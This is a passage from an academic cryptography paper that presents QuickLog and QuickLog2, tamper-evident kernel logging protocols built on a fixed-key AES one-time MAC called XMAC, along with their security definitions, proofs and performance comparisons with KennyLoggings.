point unit (FPU) registers first, make AES calls, and then later
restore those registers. This FPU context-switching incurs a
heavy performance penalty, which is particularly problematic
if all we need is to sign just one short message.

To deal with the issues above, instead of using AES with a
secret key, we use AES with a fixed, known key and model it as
an ideal permutation. The MAC key is instead used to whiten
the input and output of AES, following the Even-Mansour
design of blockcipher [20, 22]. As a result, although we keep
evolving the MAC key, we always use AES with the same
fixed key.

The trick of a fixed-key blockcipher is widely used in secure
distributed computing to improve the performance of circuit
garbling [10, 11]. By using a fixed key instead of changing key
per operation, we can avoid disrupting the AES-NI pipeline
and do not have to pay the key setup cost. Thanks to the
pipelining of AES-NI, the verification cost of QuickLog is
considerably faster than its signing cost, because we have
only one message to sign at a time, but lots of data to verify.

On the other hand, given that we only need to sign one mes-
sage per key, we realize that we do not need a fully-fledged
MAC. Instead, what we need is just a one-time MAC. The
classic, theoretical way to realize a one-time MAC is via a
pairwise independent hash function [45], but existing con-
structions unfortunately do not meet our speed demand. We
instead build a one-time MAC that we call XMAC by borrow-
ing design ideas of the XOR MAC construction [8]. There
are however fundamental differences between XMAC and
XOR MAC. For example, XMAC is based on a fixed-key
blockcipher whereas under XOR MAC, the blockcipher key
is secret. Moreover, XMAC is stateless because we only need
a one-time MAC; in contrast XOR MAC is either stateful or
probabilistic.

The security proof of XMAC is nontrivial if one wants a strong
bound. A naive approach is to rely on the known result that the
Even-Mansour construction is a good PRF [20, 22] but one
would end up with an inferior bound ℓ(p+ ℓ)/2128, where p
is the number of queries to the ideal permutation and ℓ is the
block length of the message that we sign. Our proof instead
yields a stronger bound (p+ℓ)/2128. We also give a matching
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attack, showing that our security bound is tight.
The XMAC construction is so fast that despite the heavy
penalty of the FPU context switching above, our signing cost
is faster than KennyLoggings for messages longer than 256B.
Thus for applications whose average log length is beyond
256B, one can heuristically predict that QuickLog is better
than KennyLoggings. This 256B threshold holds for many
real-world situations. For example, a study by Ma et al. [35]
observes that under realistic conditions, the average log length
of a web server is about 378B.
While QuickLog follows the blueprint of Bellare and Yee [14],
a proof is needed to warrant its security. Indeed, although
KennyLoggings claims to inherit the security in [14], we point
out a glitch in its design that completely voids the correct
proof in [14]. While one can give a new (nontrivial) proof
to justify the security of KennyLoggings, it indicates that a
rigorous treatment is needed for QuickLog. To achieve this
goal, we give a simpler framework for the security of logging
system than the original treatment of Bellare and Yee. (The
latter is complex because it aims to deal with a more general
situation where MAC keys evolve over time intervals, and
messages within the same interval are signed under the same
key.) We then show that QuickLog has 96-bit security under
our threat model, which is stronger than the conventional
64-bit security of many NIST standards such as GCM [21].

EVEN BETTER: QUICKLOG2. In both QuickLog and
KennyLoggings, each log message has a corresponding tag,
resulting in substantial storage overheads. To eliminate this
storage cost, we build QuickLog2, an optimized version of
QuickLog with a single aggregate tag that authenticates all
log messages. Even better, with aggregate authentication,
QuickLog2 can directly thwart the truncation attack where
an adversary tries to delay the detection of its intrusion
by deleting some recent log messages with their tags. In
contrast, in QuickLog and KennyLoggings, one has to resort
to additional mechanisms (such as requesting signing a
known message immediately prior to an audit).
In addition, by avoiding appending an integrity proof to each
logging event, QuickLog2 also improves the signing time,
yet still retains the same verification speed as QuickLog.
For example, to sign a 256-byte message, QuickLog and
KennyLoggings need 366 ns and 362 ns respectively, whereas
QuickLog2 only needs 205 ns. Our benchmarks also show
that in busy multi-threading environments, QuickLog2 in-
troduces much less overhead than both QuickLog and
KennyLoggings. On the other hand, QuickLog2 has 48B
of sensitive material to protect against side-channel attacks,
which is slightly higher than QuickLog (32B), but still much
smaller than KennyLoggings (3.2MB).
We now describe how to add aggregate authentication to
QuickLog. A prior work of Ma and Tsudik [33] suggests
the following way to update the aggregate tag T when we
have a new log message Mi. First sign Mi to get a correspond-

ing tag Ti as usual, but then update T via T ← H(T ∥ Ti),
where H is a collision-resistant hash function such as SHA-2.
Unfortunately, if we incorporate this method into QuickLog,
it will significantly increase both the signing and verification
time. Borrowing ideas from [28], we instead update T via
T ← T⊕Ti, making the overhead of the aggregation negligi-
ble. Note that under our approach, the verification algorithm
is fully parallelizable. In contrast, the method of [33] forces
the auditor to make a long chain of hashing.

The xor trick above first appears in the work of Katz and
Lindell [28] for aggregating MAC signatures. Yet it has never
been used for prior logging systems due to an obvious attack.
In particular, for prior designs, one evolves keys over time
intervals, and in each interval, multiple messages are signed
under the same key. Thus the xor trick will fail to detect if
log messages of the same interval are reordered. It however
does work for our setting, as there is only a single message to
sign per key. Still, proving that this method can cope with the
truncation attack goes beyond what the abstraction of the xor
trick in [28] can deliver.

We formalize a game-based framework to capture the secu-
rity of logging protocols with aggregate authentication. We
then generically show that using the xor trick on a secure log-
ging scheme in the Bellare-Yee blueprint (such as QuickLog)
meets the new notion. In particular, our proof implies that
QuickLog2 also has 96-bit security.

A PERSPECTIVE. The move from standard secret-key block-
cipher to fixed-key blockcipher is simple in hindsight but
indicates a major conceptual leap. Indeed, while the trick of
using a fixed-key blockcipher has seen widespread use in se-
cure distributed computing, it has found no application in the
area of symmetric-key cryptography. The reason is simple:
one usually encrypts or authenticates many messages per key,
and for such settings, there is no performance advantage in
using AES on a fixed key compared to the standard way of
running AES on a secret key. Our paper introduces the first
application in the area of symmetric-key cryptography that
benefits from using a fixed-key blockcipher. Finding other
applications of this technique is an interesting direction for
future work.

CONCURRENT RELATED WORK. In a concurrent and inde-
pendent work, Ahmad, Lee, and Peinado [2] build HardLog,
a logging system that employs a novel audit device to syn-
chronously store critical log messages. Non-critical logs are
still processed asynchronously, but HardLog ensures that the
delay is bounded within 15 ms. This approach is complemen-
tary to ours; combining the two solutions will lead to the best
of both worlds, namely the fine-grained log availability of
HardLog, and the synchronous authentication of QuickLog2.
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Game Gprf
F (A)

b←${0,1}; K←$ K
f←$ Func(Dom,Rng)
b′←$ AFn; Return (b′ = b)

procedure Fn(M)

If b = 1 then return FK(M)

Else return f (M)

Figure 1: Game defining PRF security of a function F : K ×
Dom→ Rng.

2 Preliminaries

NOTATION AND TERMINOLOGY. Let ε denote the empty
string. For a string x we write |x| to refer to its bit length,
and x[i : j] is the bits i through j (inclusive) of x, for 1≤ i≤
j≤ |x|. By Func(Dom,Rng) we denote the set of all functions
f : Dom→ Rng and by Perm(Dom) the set of all permuta-
tions π : Dom→ Dom. We use ⊥ as a special symbol to
denote rejection, and it is assumed to be outside {0,1}∗.
If X is a finite set, we let x←$ X denote picking an element
of X uniformly at random and assigning it to x. If A is an
algorithm, we let y← A(x1, . . . ;r) denote running A on in-
puts x1, . . . and coins r, and assigning the output to y. By
y←$ A(x1, . . .) we denote picking r at random and letting
y← A(x1, . . . ;r). We write A f to indicate that adversary A
has oracle access to a function f .

GAMES. We use the game-playing framework of [13]. (See
Fig. 1 for an example.) We write G(A)⇒ b to denote the
event of running game G with an adversary A that results in b.
We also write G(A) to abbreviate G(A)⇒ true.

PRF. Let F : K ×Dom→ Rng be a function. For an adver-
sary A , define its advantage in breaking the PRF security
of F as

Advprf
F (A) = 2 ·Pr[Gprf

F (A)]−1 ,

where game Gprf
F (A) is defined in Fig. 1. If the function F is

built on top of an ideal permutation π then A is also given
oracle access to both π and π−1.

(ONE-KEY) EVEN-MANSOUR SCHEME. The Even-
Mansour constructions [20, 22] is a well-known way to
build a blockcipher EM[π] : {0,1}n×{0,1}n → {0,1}n on
top of a permutation π : {0,1}n → {0,1}n. In particular,
EM[π](K,M) = π(K⊕M)⊕K. The following Lemma 2.1
gives a bound on the PRF security of EM[π] in the ideal-
permutation model; it combines the well-known PRP bound
of EM [20, 22] with the PRP/PRF Switching Lemma [12].

Lemma 2.1. Let π : {0,1}n→{0,1}n be a permutation that
we will model as an ideal permutation. Define EM[π] as above.
Then for an adversary A making at most q Fn queries and at
most p queries to π and π−1,

Advprf
EM[π](A)≤ q(p+q−1)

2n .

Game Gmac1
F (A)

(M,σ)←$ A ; K←$ K ; T ← F(K,M)

(M′,T ′)←$ A(T,σ); T ∗← F(K,M′)
return (M′ ̸= M and T ′ = T ∗)

Figure 2: Game defining single-user security of a one-time
MAC F .

3 One-time MAC

In this section we’ll formalize a notion of one-time MAC, and
show how to realize it via a fixed-key blockcipher.

3.1 Security Notions

ONE-TIME MAC. A one-time MAC is a function F : K ×
Dom → Rng. It takes as input a key K ∈ K and a mes-
sage M ∈ Dom, and then deterministically produces a tag
T ← F(K,M).

For an adversary A , we define its advantage in breaking secu-
rity of F as

Advmac1
F (A) = Pr[Gmac1

F (A)] ,

where game Gmac1
F (A) is in Fig. 2. Informally, the adver-

sary A first specifies a message M and stores its state in a
string σ. It is then given back its state σ and the genuine tag T
of M. The goal of the adversary is to forge a message M′ ̸= M
and its corresponding tag T ′.

The security notion above is a weaker variant of the standard
MAC notion where the adversary can specify many messages
and learn their corresponding tags. A standard MAC construc-
tion therefore can be used to sign many messages. In contrast,
a one-time MAC construction is intended to sign a single mes-
sage. Aiming for just a one-time MAC allows us to realize
this goal with a very simple and efficient construction via a
fixed-key blockcipher.

MULTI-USER SECURITY. In practice one would use a one-
time MAC to sign many messages, with one fresh random key
for each message. This is the multi-user setting, introduced
by Biham [16] in symmetric cryptanalysis and by Bellare,
Boldyreva, and Micali [7] in public-key cryptography. To
capture the multi-security of a one-time MAC F , for an ad-
versary A , we let

Advmu–mac1
F (A) = Pr[Gmu–mac1

F (A)] ,

where game Gmu–mac1
F (A) is defined in Fig. 3. Informally, A

is given a signing oracle. For each v-th query Mv, the oracle
creates a secret fresh random key Kv and returns the tag T ←
F(Kv,Mv). The adversary then creates a forgery (i,M′,T ′). It
wins the game if M′ ̸= Mi and T ′ = F(Ki,M′).
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Game Gmu–mac1
F (A)

v← 0; (i,M′,T ′)←$ ASign

T ∗← F(Ki,M′); Return (M′ ̸= Mi and T ′ = T ∗)

Procedure Sign(M)

v← v+1; Kv←$ K ; Mv←M; T ← F(Kv,M)

Return T

Figure 3: Game defining multi-user security of a one-time
MAC F . If the adversary makes q signing queries then its
forgery output (i,M′,T ′) must satisfy i ∈ {1, . . . ,q}.

3.2 The XMAC Construction
We now show how to build a one-time MAC via a fixed-key
blockcipher; we call this construction XMAC.

THE XMAC CONSTRUCTION. Let n be a multiple of 8 and let
π : {0,1}n→ {0,1}n be a permutation. Let τ,r ∈ {1, . . . ,n}
such that r is a multiple of 8. For an integer i ∈ {1, . . . ,2r},
let [i]r denote an r-bit encoding of i. The XMAC construction
only processes byte strings up to (2r − t) · t bytes, where
t = (n− r)/8, its tag length is τ bits, and its key space is
{0,1}n. It is described in Fig. 4. Note that the list of counters
we use in signing a message uniquely encodes its byte length.
This ensures that the signing message and the forgery one
will result in different sets of AES inputs.
To implement XMAC, we can instantiate π via AES with a
constant key, meaning that n = 128. In our construction, we
pick r = 16. In other words, our XMAC implementation can
digest messages up to (216−14) ·14 = 917,308 bytes. This is
enough if one wants to use XMAC for system logging, as log
messages are short. In practice, log size rarely goes beyond
1KB; in our benchmarks, log size in fact never exceeds 400B.
The default maximum log size of Linux Audit is 8KB, way
below the limit of XMAC.
The design of XMAC takes inspiration from the XOR MAC
construction [8], but there are major differences between the
two. In particular, while XOR MAC is either stateful or ran-
domized,XMAC is stateless and deterministic. As a result, not
only is XMAC simpler than XOR MAC, it is also faster. More-
over, XMAC is based on a fixed-key blockcipher whereas un-
der XOR MAC, the blockcipher key is secret. Thus XMAC
is preferred in the setting where one has to update key per
signing, as there is no key setup and we can avoid disrupting
the AES-NI pipeline.

DISCUSSION. Traditional blockcipher-based MAC (such as
GMAC [21]) typically aims to minimize the number of block-
cipher calls. Such designs strive to use ⌈m/16⌉ parallel calls
to authenticate an m-byte message, at the expense of some
setup cost (such as building a look-up table for fast finite-
field multiplications). This approach is not suitable for our
setting, because (i) having an expensive setup cost is undesir-
able when one only authenticates a single message per key,

procedure XMAC[π,τ](K,M)

M1 ∥ · · · ∥Mm←M // |Mm| ≤ n− r, and other |Mi|= n− r
v← n− r−|Mm|; u← v/8; R← K
For i = 1 to m−1 do Xi← [i]r ∥Mi; R← R⊕π(Xi⊕K)

Xm← [m+u]r ∥ (Mm0v); R← R⊕π(Xm⊕K)

Return R[1 : τ]

π

M

π π

T

� M� M�� � �

K K K

���
τ

π

M

π π
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K K K

���
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Figure 4: The one-time MAC construction XMAC (top) and
an illustration of XMAC for the 3-block case, where the mes-
sage is either full-block (middle), or fragmentary (bottom)
with a one-byte padding. For the last block, we will pad 0’s if
necessary, and increase the counter with the byte length of the
padding. The box MSBτ outputs the τ-bit prefix of the input.

and (ii) for short messages, a few extra blockcipher calls have
little impact on the running time, thanks to the pipelining of
AES-NI. The XMAC construction thus uses ⌈m/14⌉ parallel
blockcipher calls for an m-byte message, with no setup cost.

CAVEAT. We note that XMAC must not be used to sign more
than one message per key. For example, suppose that we use
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XMAC to sign messages M1 = 0n−r ∥0n−r, M2 = 1n−r ∥1n−r,
and M3 = 0n−r ∥ 1n−r on the same key. Let T1,T2,T3 be the
corresponding tags. Then one can forge the tag of M4 =
1n−r ∥0n−r via T4 = T1⊕T2⊕T3.

SINGLE-USER SECURITY OF XMAC. The following result
shows that XMAC is a good one-time MAC in the ideal-
permutation model; the proof is in Section 3.3. Note that if
we use a variant of XMAC that is based on the Even-Mansour
construction and rely on Lemma 2.1 then we will end up with
an inferior bound ℓ(p+ℓ)

2n + 1
2τ .

Theorem 3.1. Let π : {0,1}n→{0,1}n be a permutation that
we will model as an ideal permutation. Define XMAC[π,τ] as
above. Consider an adversary A that makes at most p ideal-
permutation queries, and its two messages are of at most ℓ
blocks (each of n− r bits). Then

Advmac1
XMAC[π,τ](A)≤ 4p+2ℓ

2n +
1
2τ

.

MULTI-USER SECURITY OF XMAC. The following result
shows that XMAC also has good multi-user one-time MAC
security in the ideal-permutation model. The proof is in Sec-
tion 3.4.

Theorem 3.2. Let π : {0,1}n→{0,1}n be a permutation that
we will model as an ideal permutation. Define XMAC[π,τ]
as above. Consider an adversary A that makes at most p
ideal-permutation queries and q≥ 1 signing queries, and its
messages are of at most s blocks (each of n− r bits). Then

Advmu–mac1
XMAC[π,τ](A)≤ 4q(p+ s)

2n +
1
2τ

.

MATCHING ATTACKS. The bound in Theorem 3.2 consists
of two important terms 1/2τ and pq/2n that correspond to
actual attacks. To have advantage 1/2τ, one simply picks an
arbitrary message M′, samples T ′←${0,1}τ, and then outputs
(1,M′,T ′). For the term pq/2n, consider the following attack
for the case τ = n.

• First, pick arbitrary distinct (n− r)-bit strings M and M′.
Let X = [1]r ∥M and X ′ = [1]r ∥M′.

• Next, for every i ≤ q, query Sign(M) to get answer Ti.
Note that each Ti is π(Ki⊕X)⊕Ki, where Ki is the i-th key.

• Pick arbitrary distinct L1, . . . ,Lp ∈ {0,1}n. For every k ≤
p, compute Vk← π(Lk⊕X)⊕Lk. If there are some i and k
such that Ti =Vk then we guess the key Ki as Lk, and then
output the forgery as (i,M′,π(Lk⊕X ′)⊕Lk).

To analyze the attack above, we will use the following in-
equality.

Lemma 3.3. [9] Let q ≥ 1 be an integer and a ≥ 0 a real
number. Assume aq≤ 1. Then (1−a)q ≤ 1−aq/2.

First, since L1, . . . ,Lp are distinct and K1, . . . ,Kq←${0,1}n,
the chance that there is a collision Lk = Ki is 1− (1− p/2n)q.
Using Lemma 3.3 with a = p/2n, the chance that there is a
collision Lk = Ki (and thus a matching Vk = Ti) is at least

1− (1− p/2n)q ≥ pq/2n+1 .

Still, given a matching Ti =Vk, we need to analyze the con-
ditional probability that Lk = Ki, since there might be false
positives. Fix i and k. Let Hit be the event that Ki = Lk and
let Bad be the event that Ki ̸= Lk but somehow Ti =Vk. Note
that the events Hit and Bad are disjoint. Our goal is to bound
Pr[Hit | Hit∪Bad]. From Bayes’ theorem,

Pr[Hit | Hit∪Bad] =
Pr[Hit∪Bad | Hit] ·Pr[Hit]

Pr[Hit∪Bad]

=
Pr[Hit]

Pr[Hit]+Pr[Bad]

=
1

1+Pr[Bad]/Pr[Hit]
.

For fixed i and k, the chance that Ki = Lk is 1/2n, whereas
given that Ki ̸= Lk, the conditional probability that Ti =
π(Ki⊕X)⊕Ki and Vk = π(Lk⊕X)⊕Lk are the same is at most
1/(2n−1)≤ 2/2n. Therefore

Pr[Bad] = Pr[Ki ̸= Lk and Ti =Vk]

≤ Pr[Ti =Vk | Ki ̸= Lk]≤
2
2n .

Hence Pr[Bad]/Pr[Hit] ≤ 2, and thus Pr[Hit | Hit∪Bad] ≥
1/3. As a result, the attack above wins with advantage at least
pq/6 ·2n.

TIGHTNESS OF THE BOUND. The matching attack for the
term pq/2n above can be extended to work with a general τ,
but the advantage will dwindle by a factor of 2n−τ. Thus while
our bound is tight if τ is close to n, there might be room for
improvement for the case that τ is much smaller than n (such
as n = 128 and τ = 64). We leave this as an open problem.

3.3 Proof of Theorem 3.1

PROOF OUTLINE. As a stepping stone, we will define an in-
termediate notion that we call two-time PRF. It is an analogue
of the standard PRF notion but (i) the adversary is now al-
lowed only two PRF queries, and (ii) if the PRF is built on top
of an ideal permutation π then the adversary is given access
to both π and π−1, but it is prohibited from querying them
after the second PRF query. We will show that a two-time
PRF is also a good one-time MAC; the proof is similar to
the classic proof that PRF security implies MAC security. We
will then prove that XMAC is a good two-time PRF via the
H-coefficient technique [18, 39], and thus XMAC is also a
good one-time MAC.
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Game Gprf2
F (A)

b←${0,1}; K←$ K
f←$ Func(Dom,Rng)
count← 0; b′←$ AFn

Return (b′ = b)

procedure Fn(M)

count← count+1
If count > 2 then return ⊥
If b = 1 then return FK(M)

Else return f (M)

Figure 5: Game defining two-time PRF security of a function
F : K ×Dom→ Rng.

DEFINING TWO-TIME PRF. Let F : K ×Dom→ Rng be a
function. For an adversary A , define its advantage in breaking
the two-time PRF security of F as

Advprf2
F (A) = 2 ·Pr[Gprf2

F (A)]−1 ,

where game Gprf2
F (A) is defined in Fig. 5. This game is similar

to the standard PRF game in Fig. 1, but after the second query,
the Fn oracle only returns ⊥. In other words, the adversary
is effectively limited to two queries. If the function F is built
on top of an ideal permutation π then A is also given oracle
access to both π and π−1, but it is prohibited from querying
them after the second PRF query.
We stress that in defining two-time PRF security, it is cru-
cial that the adversary is not allowed to query π and π−1

after the second PRF query. Dropping this restriction will
lead to the following devastating attack on XMAC for the
typical case τ = n. In particular, pick an arbitrary (n− r)-
bit string M. Query M and M′ = M ∥M to the Fn oracles
to get answers T and T ′ respectively. Let B1 = [1]r ∥M and
B2 = [2]r ∥M. Note that in the real world, T = K⊕π(K⊕B1)
and T ′ = K⊕π(K⊕B1)⊕π(K⊕B2). One then can recover the
key K via π−1(T⊕T ′)⊕B2, and return 1 if T = K⊕π(K⊕B1).
This attack wins with advantage 1−1/2n.

TWO-TIME PRF IMPLIES ONE-TIME MAC. The following
result shows that any good two-time PRF is also a good one-
time MAC; the proof is in the full version of our paper. As a
result, below we will focus on proving two-time PRF security
of XMAC.

Proposition 3.4. Let F : K ×Dom→ Rng be a function. For
any adversary A , we can construct an adversary B of about
the same time such that

Advmac1
F (A)≤ Advprf2

F (B)+
1
|Rng|

.

Adversary B uses the same amount of resources as A , and its
messages are the same as those of A .

XMAC IS A GOOD TWO-TIME PRF. The following result
shows that XMAC is a good two-time PRF in the ideal-
permutation model.

Proposition 3.5. Let π : {0,1}n → {0,1}n be a permuta-
tion that we will model as an ideal permutation. Define

XMAC[π,τ] as above. Consider an adversary B that makes
at most p ideal-permutation queries, and its two messages
are of at most ℓ blocks (each of n− r bits). Then

Advprf2
XMAC[π,τ](B)≤ 4p+2ℓ

2n .

The proof of Proposition 3.5 is in the full version of our
paper. Here we sketch some high-level intuitions. Let M
and M′ be the PRF queries, with |M| ≥ |M′|, and let T and T ′

be the corresponding PRF outputs. In the real world, these
queries internally result in calling π(X1⊕K), . . . ,π(Xm⊕K)
for M, and π(X ′1⊕K), . . . ,π(X ′s⊕K) for M′. Since the list
of counters uniquely encodes the message byte length, and
M ̸= M′ due to the definitional restriction, there must be some
Xt ̸∈ {X ′1, . . . ,X ′s}.
Intuitively, we want to show that in the real world (where
outputs are generated via XMAC), it is unlikely that the ad-
versary can query π(X) with X ∈ {Xt⊕K,X ′s⊕K}, or query
π−1(Y ) that ends up with answer Xt⊕K or X ′s⊕K. If this does
not happen then R ← π(Xt⊕K) and R′ ← π(X ′s⊕K) serve
as one-time pads to make T and T ′ pseudorandom.2 Using
the H-coefficient technique [18, 39], we can instead consider
the chance this bad event happens in the ideal world, for
K←${0,1}n independent of the adversary’s view.
The convenience above however comes with a cost. Note
that in both worlds, we can reconstruct the one-time pads R
and R′ via (T,T ′,K), and all π(Xi) with i ∈ {1, . . . ,m}\{t},
and all π(X ′j) with j≤ s−1. Using the H-coefficient technique
requires us to show that in the ideal world, it is unlikely that
the adversary can query π−1(Y ) with Y ∈ {R,R′}, or query
π(X) that ends with answer R or R′. This bad event leads to
inconsistency, as in the ideal world, in general R ̸= π(Xt⊕K)
and R′ ̸= π(X ′s⊕K). To bound the chance this event happens,
we rely on the fact that in the ideal world, the string K and
the second PRF output are uniformly random, independent of
the adversary’s ideal-cipher queries and their answers.

XMAC IS A GOOD ONE-TIME MAC. Consider an adver-
sary A attacking the one-time MAC security of XMAC[π,τ]
that makes at most p ideal-permutation queries, and its two
messages are of at most ℓ (n− r)-bit blocks. From Proposi-
tion 3.4 for Rng = {0,1}τ, we can construct an adversary B
such that

Advmac1
XMAC[π,τ](A)≤ Advprf2

XMAC[π,τ](B)+
1
2τ

.

Adversary B makes at most p ideal-permutation queries and
its two messages are of at most ℓ (n− r)-bit blocks. Then
from Proposition 3.5,

Advprf2
XMAC[π,τ](B)≤ 4p+2ℓ

2n .

2It is possible that X ′s ∈ {X1, . . . ,Xm}, meaning that we also use R′ in
producing T , but it is protected by R.
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Hence
Advmac1

XMAC[π,τ](A)≤ 4p+2ℓ
2n +

1
2τ

.

3.4 Proof of Theorem 3.2
The key idea of the proof is to reduce the multi-user one-time
MAC security to the notion of two-time PRF defined in Sec-
tion 3.3 using a standard hybrid argument. This is established
in Proposition 3.6 below; the proof is in the full version of
our paper.

Proposition 3.6. Let F : K ×Dom→ Rng be a function.
For any adversary A making q≥ 1 signing queries, we can
construct an adversary B of about the same time such that

Advmu–mac1
F (A)≤ q ·Advprf2

F (B)+
1
|Rng|

.

Adversary B runs A and calls F to compute the tags for all
but one signing messages of A , and queries the remaining
signing message and the forgery message of A to its PRF
oracle.

Back to the multi-user security of XMAC, from Proposi-
tion 3.6, we can construct an adversary B of at most Q ideal-
permutation queries whose two messages are of at most ℓ
blocks, where Q+ ℓ= p+ s, such that

Advmu–mac1
XMAC[π,τ](A)≤ q ·Advprf2

XMAC[π,τ](B)+
1
2τ

. (1)

From Proposition 3.5,

Advprf2
XMAC[π,τ](B)≤ 4Q+2ℓ

2n ≤ 4(Q+ ℓ)

2n =
4(p+ s)

2n . (2)

Combining Eq. (1) and Eq. (2) gives us the claimed bound.

4 Warmup: QuickLog

4.1 Formalizing Security of Logging Systems
THREAT MODEL. Following prior work [14, 38], we consider
an adversary that initially has non-privileged access to a ma-
chine via, say stolen credentials, and then mounts an attack to
escalate privilege. We assume that this attack invokes some
system calls that are recorded in the system’s audit logs. How-
ever, after gaining full system control, the adversary can mod-
ify the logs to hide the traces of the attack and avoid detection.

We assume that the audit logs are periodically sent to a trusted
machine for analysis. For the auditor to detect tampering of
logs, the logging system will include a short tag for each log
as a proof of integrity. Initially, the logging system and the
auditor share a secret short state; the logging system will then
update the state for each tag it signs and erase the prior state
from the host’s memory. We assume that (i) it is impossible for

the adversary to recover deleted states, and (ii) before gaining
privileged access, the adversary cannot retrieve partial infor-
mation of secrets in kernel memory, say using side-channel
attacks such as [31].

SYNTAX OF LOGGING PROTOCOL. Syntactically, a logging
protocol Π consists of a pair of deterministic algorithms
(Update,Sign) and is associated with a state space S .
• Initially, a root state S0←$ S is sampled. Derive

(K1,S1) ← Update(S0), share S0 with the auditor, and
erase S0 from the host’s memory.

• When we need to sign the i-th log message Mi, we retrieve
(Si,Ki) and generate the tag Ti← Sign(Ki,Mi). We then
update (Ki+1,Si+1)←Update(Si) and delete (Ki,Si) from
the host’s memory so that they are no longer available for
the adversary after it gains full system control.

• Given a root state S0 and message-tag pairs (M1,T1), . . . ,
(Mq,Tq), an auditor can verify the integrity of these logs
by iteratively deriving (Ki,Si)←Update(Si−1) and check-
ing if Ti = Sign(Ki,Mi) for every i≤ q.

The syntax above is a simplified version of the framework
of Bellare and Yee [14]; the latter instead evolves keys over
time intervals. As a result, messages within the same interval
are signed under the same key. However, as pointed out by
Paccagnella et al. [38], if an attack happens within an interval,
the adversary can get the signing key of the current interval
and undetectably hide the traces of its intrusion. We follow
their conservative recommendation, signing just one message
per key. This also substantially simplifies the syntax, since
one does not have to worry about the deletion or reordering
of messages within the same interval.

SECURITY NOTION FOR LOGGING PROTOCOLS. For an ad-
versary A attacking a logging protocol Π, we define its ad-
vantage in breaking the forward authenticity (FA) of Π as

Advfa
Π(A) = Pr[Gfa

Π(A)] ,

where game Gfa
Π
(A) is defined in Fig. 6. Initially the game

samples a state S0←$ S , and runs A with access to a sign-
ing oracle. For the v-th signing query Mv, the oracle runs
Update(Sv−1) to get an updated key Kv and state Sv, and then
returns the tag Tv← Sign(Kv,Mv). When A finishes querying,
its produces an index i ≥ 1 and saves its internal state to a
string σ. The adversary is then given back σ and the state Si
(but now without oracle access) to output a forgery (M′,T ′).
It wins the game if M′ ̸= Mi but T ′ = Sign(Ki,M′).
The notion of forward authenticity is a simplified version of
the notion of forward-secure MAC of Bellare and Yee [14] in
which there is only one signing message per time interval. We
now give an intuition for why achieving this goal makes the
logs tamper-proof. Suppose that when the adversary gets full
control of the system, it obtains the state Sq (and thus knows
all the subsequent keys and states), but the system calls of
its attack are already recorded in the logs M1, . . . ,Mq. These
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Game Gfa
Π
(A)

S0←$ S ; v← 0; (i,σ)←$ ASign

(M′,T ′)←$ A(Si,σ)

T ∗← Sign(Ki,M′)
Return (M′ ̸= Mi and T ′ = T ∗)

procedure Sign(M)

v← v+1; Mv←M
(Kv,Sv)← Update(Sv−1)

Tv← Sign(Kv,Mv)

Return Tv

Figure 6: Game defining the forward authenticity of a logging
protocol Π.

procedure QuickLog[F,G].Update(S)
S′← F(S, [0]n); K′← F(S, [1]n); Return (K′,S′)

procedure QuickLog[F,G].Sign(K,M)

T ← G(K,M); Return T

Figure 7: The logging protocol QuickLog, built on top of a
PRF F and a one-time MAC G. Here for each integer a ∈
{0, . . . ,2n−1}, we let [a]n denote an n-bit encoding of a.

messages are signed under the (now deleted) keys K1, . . . ,Kq.
Suppose that later an auditor receives the stream of tampered
message-tag pairs (M′1,T

′
1),(M

′
2,T

′
2), . . .. Let i ≤ q be the

smallest index that Mi ̸=M′i . (This index must exist, otherwise
the auditor will find out the intrusion.) The forward authentic-
ity ensures that T ′i will be different from Sign(Ki,Mi), leading
to a detection of the tampering.

We note that by mounting a truncation attack (that is, deleting
the most recent log messages), an adversary may be able to
delay detection until the next verification period, but will be
ultimately detected. To avoid detection delay, Paccagnella et
al. [38] suggest that an administrator should request signing
a known message immediately prior to an audit.

4.2 The QuickLog System
DESCRIPTION OF QUICKLOG. Let F : K × {0,1}n →
{0,1}n be a PRF and let G : {0,1}n ×Dom → {0,1}τ be
a one-time MAC. The logging protocol QuickLog[F,G] with
message space Dom is described in Fig. 7. We instantiate F
via the Even-Mansour method EM[π] (that is described in
Section 2) and G via XMAC[π,τ] (that is described in Sec-
tion 3.2). The underlying permutation π for both constructions
is AES with the all-zero key.

QuickLog follows the blueprint in the work of Bellare and
Yee [14] but uses a one-time MAC instead of a standard MAC.
The key idea for performance improvement here is to build
both F and G on top of a fixed-key blockcipher.

DISCUSSION. Paccagnella et al. [38] suggest that one should
implement a logging protocol in the kernel to avoid their
race attack. Unfortunately, to implement XMAC efficiently
one needs to use vector instructions such as Intel SSE2, but
calling them from the Linux kernel incurs a performance
penalty. In particular, one has to save all floating-point unit

Game Gu(A)

S0←$ S ; v← 0; (i,σ)←$ ASign

(M′,T ′)←$ A(Si,σ)

T ∗← G(Ki,M′)
Return (M′ ̸= Mi and T ′ = T ∗)

procedure Sign(M)

v← v+1; Mv←M
Kv,Sv←${0,1}n

If v≤ u then
Kv← F(Sv−1, [0]n)
Sv← F(Sv−1, [1]n)

Tv← G(Kv,Mv)

Return Tv

Figure 8: Game Gu in the proof of Theorem 4.1.

(FPU) registers before using the vector instructions, and then
later restoring those. We stress that this issue only affects
the performance of the signing operation, as the verification
is implemented in the user space. Despite this penalty, our
experiments show that the signing part of QuickLog is on par
with that of its competitor, KennyLoggings [38].

SECURITY OF QUICKLOG. The following result shows that
QuickLog achieves forward authenticity for generic F and G;
the proof is in the full version of our paper.

Theorem 4.1. Let F : K ×{0,1}n→{0,1}n be a PRF and
let G : {0,1}n×Dom→{0,1}τ be a one-time MAC. For an
adversary A making q signing queries, we can construct an
adversary B such that

Advfa
QuickLog[F,G](A)≤ q ·Advprf

F (B)+Advmu–mac1
G (A) .

Adversary B runs A and makes 2(q−1) calls to F, q+1 calls
to G on the messages of A , plus two PRF queries.

Proof. For each u ∈ {0, . . . ,q}, consider game Gu in Fig. 8.
Game Gq corresponds to game Gfa

QuickLog[F,G](A). In con-
trast, in game G0, all the keys and states are sampled uni-
formly at random, and thus this game corresponds to game
Gmu–mac1

G (A).
We now construct the adversary B . It picks U←${1, . . . ,q}
and then runs A . It tries to simulate game GU (A), but for the
U-th signing query M, it will instead use its own PRF oracle
Fn to compute KU ← Fn([0]n) and SU ← Fn([1]n). Then

Advprf
F (B) = EU←${1,...,q}

[
Pr[GU (A)]−Pr[GU−1(A)]

]
=

1
q

q

∑
u=1

Pr[Gu(A)]−Pr[Gu−1(A)]

=
1
q

(
Pr[Gq(A)]−Pr[G0(A)]

)
=

1
q

(
Advfa

QuickLog[F,G](A)−Advmu–mac1
G (A)]

)
